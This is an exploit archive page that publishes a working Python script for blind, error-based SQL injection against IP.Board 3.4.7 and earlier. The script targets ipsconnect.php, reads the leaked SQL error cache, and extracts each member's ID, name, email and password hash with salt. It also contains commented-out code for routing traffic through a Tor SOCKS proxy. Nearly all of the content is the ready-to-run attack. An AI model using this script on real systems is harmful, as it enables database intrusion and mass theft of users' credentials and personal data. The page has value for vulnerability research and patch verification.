exploit the possibilities

IP.Board 3.4.7 SQL Injection

IP.Board 3.4.7 SQL Injection
Posted Nov 10, 2014
Authored by secthrowaway

IP.Board versions 3.4.7 and below suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | c55334e3719aa9b6dc22fbf247ca38b3

IP.Board 3.4.7 SQL Injection

Change Mirror Download
#!/usr/bin/env python
# Sunday, November 09, 2014 - secthrowaway@safe-mail.net
# IP.Board <= 3.4.7 SQLi (blind, error based);
# you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable

url = 'http://target.tld/forum/'
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

import sys, re

# <socks> - http://sourceforge.net/projects/socksipy/
#import socks, socket
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
#socket.socket = socks.socksocket
# </socks>

import urllib2, urllib

def inject(sql):
try:
urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua}))
except urllib2.HTTPError, e:
if e.code == 503:
data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read()
txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE)
if txt is not None:
return txt.group(1)
sys.exit('Error [3], received unexpected data:\n%s' % data)
sys.exit('Error [1]')
sys.exit('Error [2]')

def get(name, table, num):
sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num)
s = int(inject('LENGTH((%s))' % sqli))
if s < 31:
return inject(sqli)
else:
r = ''
for i in range(1, s+1, 31):
r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
return r

n = inject('SELECT COUNT(*) FROM members')
print '* Found %s users' % n
for j in range(int(n)):
print get('member_id', 'members', j)
print get('name', 'members', j)
print get('email', 'members', j)
print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members', j)
print '----------------'

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    37 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close